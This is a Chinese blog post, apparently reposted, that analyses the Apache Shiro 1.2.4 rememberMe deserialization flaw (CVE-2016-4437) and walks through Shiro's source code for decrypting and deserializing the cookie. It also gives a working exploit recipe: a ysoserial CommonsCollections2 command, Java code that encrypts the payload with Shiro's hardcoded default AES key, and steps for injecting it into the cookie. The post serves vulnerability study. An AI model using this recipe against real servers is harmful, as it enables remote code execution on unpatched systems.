17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)相关的知识,希望对你有一定的参考价值。
漏洞原理
在shiro1.2.4版本中,用户认证信息rememberMe通常会进行Base64编码和AES加密存储在cookie中,当shiro安全框架对用户身份进行认证时,会对rememberMe的内容进行Base64解码和AES解密,然后反序列化还原成java对象,由于rememberMe可控,攻击者则可以利用rememberMe来构造恶意数据,产生反序列化漏洞。
漏洞环境
shiro1.2.4
jdk7u80
漏洞复现
在github下载shiro1.2.4版本,下载链接: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
下载shiro-root-1.2.4之后解压,在shiro-shiro-root-1.2.4\\samples\\目录以Project方式打开web作为一个项目
然后再pom文件中引入以下依赖,直接复制替换即可
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-toolchains-plugin</artifactId>
<version>1.1</version>
<executions>
<execution>
<goals>
<goal>toolchain</goal>
</goals>
</execution>
</executions>
<configuration>
<toolchains>
<jdk>
<version>1.7</version>
<vendor>sun</vendor>
</jdk>
</toolchains>
</configuration>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>$jetty.version</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>$jetty.version</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>$jetty.version</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
</dependencies>
</project>
然后把shiro部署到tomcat当中,把jdk版本改为1.7u80
配置完后再启动tomcat,在浏览器地址栏访问http://localhost:8080/shiro,如果出现以下页面说明环境搭建完成。
漏洞利用探测,在login页面输入用户名和密码点击登录,开启burpsuite抓包,可以看到burpsuite的返回包会有一个Set-Cookie操作设置rememberMe=deleteMe,换句话说,如果返回页面会有一个Set-Cookie操作设置rememberMe的话,说明可能存在shiro反序列化漏洞。
通过ysoserial工具使用CC2利用链来生成poc
java -jar ysoserial-V20200316.2.jar CommonsCollections2 "calc" > poc.txt
然后将poc进行base64编码,AES加密
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember
public static void main(String[] args) throws Exception
byte[] payloads = Files.readAllBytes(Paths.get("poc.txt"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
为了防止tomcat的端口和burpsuite监听的端口冲突,这里我将tomcat的端口改成了8081了,然后再重新启动tomcat服务器
访问http://192.168.0.35:8081/shiro/ 地址,开启burpsuite进行抓包在cookie字段中添加之前加密后的payload,然后放包,如果弹出计算器则说明漏洞利用成功。
漏洞复现的调用堆栈流程如下所示
漏洞分析
在进行漏洞分析之前,对于shiro用户认证流程不了解的同学可以先参考此篇文章:16-java安全——shiro1.2.4用户认证流程分析
现在我们来分析一下漏洞的利用流程,分析的入口是AbstractShiroFilter类的createSubject方法,这里解释一下为什么分析的入口是AbstractShiroFilter类的createSubject方法?
shiro框架有一个AbstractShiroFilter类(该类实现了Filter拦截器接口)会拦截web应用所有用户认证的http请求,而该类有一个doFilterInternal方法会处理这些http请求请求,并且doFilterInternal方法内部调用了createSubject方法创建一个Subject主体,并且把http请求的内容(例如cookie字段中的payload)封装到Subject主体中。
createSubject方法内部会通过WebSubject接口的buildWebSubject方法来构建一个web应用的Subject
protected WebSubject createSubject(ServletRequest request, ServletResponse response)
//构建一个基于web的Subject
return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject();
为什么WebSubject接口能调用一个方法?实际上是调用了WebSubject接口的静态内部类Builder的buildWebSubject方法
public WebSubject buildWebSubject()
//调用父类的buildWebSubject方法
Subject subject = super.buildSubject();
if (!(subject instanceof WebSubject))
String msg = "Subject implementation returned from the SecurityManager was not a " +
WebSubject.class.getName() + " implementation. Please ensure a Web-enabled SecurityManager " +
"has been configured and made available to this builder.";
throw new IllegalStateException(msg);
return (WebSubject) subject;
WebSubject接口继承了Subject接口,因此这里会调用Subject接口的buildSubject方法,Subject主体的创建会通过securityManager安全管理器来完成,因此在buildSubject方法中,securityManager安全管理器调用createSubject方法并传入了一个subjectContext参数,该参数内部封装了http请求中的内容(例如cookie字段中的payload)。
public Subject buildSubject()
return this.securityManager.createSubject(this.subjectContext);
DefaultSecurityManager安全管理器的createSubject方法内部会调用了一个resolvePrincipals方法解析SubjectContext的内容
public Subject createSubject(SubjectContext subjectContext)
//省略部分代码......
context = resolvePrincipals(context);
//省略部分代码......
resolvePrincipals方法内部会调用resolvePrincipals方法尝试解析SubjectContext中的Principal(身份信息),如果解析为空则会调用getRememberedIdentity方法继续从SubjectContext中获取http请求中cookie字段中rememberMe的内容。
protected SubjectContext resolvePrincipals(SubjectContext context)
//解析SubjectContext的内容,通常返回null
PrincipalCollection principals = context.resolvePrincipals();
//判断Principal(身份信息)是否为空
if (CollectionUtils.isEmpty(principals))
log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity.");
//解析SubjectContext中的http数据
principals = getRememberedIdentity(context);
if (!CollectionUtils.isEmpty(principals))
log.debug("Found remembered PrincipalCollection. Adding to the context to be used " +
"for subject construction by the SubjectFactory.");
context.setPrincipals(principals);
else
log.trace("No remembered identity found. Returning original context.");
return context;
触发反序列化漏洞的关键就在于DefaultSecurityManager安全管理器的getRememberedIdentity方法,该方是反序列化漏洞的起点
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext)
//获取CookieRememberMeManager管理器
RememberMeManager rmm = getRememberMeManager();
if (rmm != null)
try
//获取rememberMe
return rmm.getRememberedPrincipals(subjectContext);
catch (Exception e)
if (log.isWarnEnabled())
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during getRememberedPrincipals().";
log.warn(msg, e);
return null;
DefaultSecurityManager安全管理器首先获取了CookieRememberMeManager管理器,然后调用getRememberedPrincipals方法从subjectContext中封装的cookie字段中解析rememberMe的内容,但是CookieRememberMeManager管理器中并没有getRememberedPrincipals方法。
由于CookieRememberMeManager继承了AbstractRememberMeManager,因此会调用父类AbstractRememberMeManager的getRememberedPrincipals方法。
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext)
PrincipalCollection principals = null;
try
//获取rememberMe中的序列化字节流数据,进行base64解码
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
//是否有数据
if (bytes != null && bytes.length > 0)
//AES解密
principals = convertBytesToPrincipals(bytes, subjectContext);
catch (RuntimeException re)
principals = onRememberedPrincipalFailure(re, subjectContext);
return principals;
getRememberedSerializedIdentity方法返回的是一个byte类型的字节数组,该方法主要是从http请求中解析数据,然后进行base64解码
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext)
//校验,是否为http
if (!WebUtils.isHttp(subjectContext))
if (log.isDebugEnabled())
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
return null;
//如果是http,再强转回WebSubjectContext
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc))
return null;
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
//从http请求中提取base64编码后的数据
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null)
base64 = ensurePadding(base64);
if (log.isTraceEnabled())
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
//base64解码
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled())
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
//返回数据
return decoded;
else
//no cookie set - new site visitor?
return null;
getRememberedSerializedIdentity方法返回之后,会判断是否有数据,如果有数据则调用convertBytesToPrincipals方法解密,接着调用deserialize方法反序列化
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext)
//获取AES加密服务,不为null调用decrypt方法
if (getCipherService() != null)
//解密
bytes = decrypt(bytes);
//反序列化
return deserialize(bytes);
decrypt方法经过多层调用,最终会调用AbstractRememberMeManager类的decrypt方法进行AES解密
protected byte[] decrypt(byte[] encrypted)
byte[] serialized = encrypted;
//获取AES密码服务
CipherService cipherService = getCipherService();
if (cipherService != null)
//进行AES密码进行解密
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
//得到序列化的字节数据
serialized = byteSource.getBytes();
return serialized;
decrypt方法内部会再次调用getCipherService方法获取AES加解密服务,然后调用getDecryptionCipherKey方法获取解密的秘钥解密后,返回serialized
调用DefaultSerializer类的deserialize方法对serialized中的序列化字节数据反序列化
public T deserialize(byte[] serialized) throws SerializationException
if (serialized == null)
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings("unchecked")
//调用readObject方法反序列化
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
catch (Exception e)
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
deserialize方法内部对于serialized参数中解密后的内容没有任何过滤和校验操作,而是进行了一个简单的不为null的判断,然后直接调用了readObject方法进行反序列化,从而调用CC2利用链产生反序列化漏洞,实现RCE命令执行。
关于CC2利用链具体可以参考之前的文章:8-java安全——java反序列化CC2链分析
为什么在内网的场景下shiro发序列化漏洞很常见,其实主要的原因在于内网的安全的防御相对于外网较薄弱。
从wireshark抓到的流量来看,由于http请求中payload经过base64编码和AES加密后,导致漏洞在利用过程中没有明显的特征值,很容易骗过安全设备。
最后是分析过程中几点的疑惑
在分析过程中主要对两点比较疑惑:一个是AES解密的秘钥是从哪被设置的?另一个是DefaultSecurityManager安全管理器是从哪里获取的CookieRememberMeManager管理器。
先说getDecryptionCipherKey方法中返回的秘钥decryptionCipherKey是从哪里设置的。
既然decryptionCipherKey有getter方法,那么也有对应的setter方法,通过查看方法的调用关系,可以看到在setCipherKey方法中调用了setDecryptionCipherKey方法
public void setCipherKey(byte[] cipherKey)
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
而setCipherKey方法是在AbstractRememberMeManager管理器实例化的时候被调用
public AbstractRememberMeManager()
this.serializer = new DefaultSerializer<PrincipalCollection>();
//创建AES密码服务并设置秘钥
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
到这基本可以知道,由于CookieRememberMeManager类继承了AbstractRememberMeManager类,CookieRememberMeManager的构造器在初始化时会自动调用父类的构造设置AES解密的秘钥,可以确定DEFAULT_CIPHER_KEY_BYTES就是AES解密的秘钥。
然后就是关于CookieRememberMeManager管理器的问题。
在分析的过程中DefaultSecurityManager安全管理器并没有调用对应的set方法设置CookieRememberMeManager管理器,那么CookieRememberMeManager管理器是在哪里设置的?
我们来看一下shiro的安全管理器关系架构图
以上这些主要的管理器分别为:
SessionsSecurityManager(会话安全管理器)
AuthorizingSecurityManager(授权安全管理器)
AuthenticatingSecurityManager(认证安全管理器)
RealmSecurityManager(领域安全管理器)
CachingSecurityManager(缓存安全管理器)
WebSecurityManager(web安全管理器)
CookieRememberMeManager(cookie RememberMe管理器)
从上可以知道,DefaultWebSecurityManager管理器继承了DefaultSecurityManager管理器,DefaultWebSecurityManager的构造进行了一些初始化工作将Subject主体封装成cookie,创建了一个CookieRememberMeManager管理器并调用了setRememberMeManager方法设置到RememberMe管理器中
public DefaultWebSecurityManager()
super();
((DefaultSubjectDAO) this.subjectDAO).setSessionStorageEvaluator(new DefaultWebSessionStorageEvaluator());
this.sessionMode = HTTP_SESSION_MODE;
setSubjectFactory(new DefaultWebSubjectFactory());
//设置到RememberMe管理器中
setRememberMeManager(new CookieRememberMeManager());
setSessionManager(new ServletContainerSessionManager());
CookieRememberMeManager表示把Subject主体封装到cookie当中,设置了一个httponly字段和cookie有效期
public CookieRememberMeManager()
//往cookie写入rememberMe
Cookie cookie = new SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);
//设置httponly后,cookie无法被浏览器的js读取,可以防止xss攻击
cookie.setHttpOnly(true);
//设置cookie有效期
cookie.setMaxAge(Cookie.ONE_YEAR);
this.cookie = cookie;
DefaultWebSecurityManager安全管理器在shiro应用启动的时候就会被实例化,对应的DefaultSecurityManager管理器也会随之实例化。
以上是关于17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)的主要内容,如果未能解决你的问题,请参考以下文章
17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)
17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)
[Java安全]Shiro RememberMe 1.2.4反序列化漏洞分析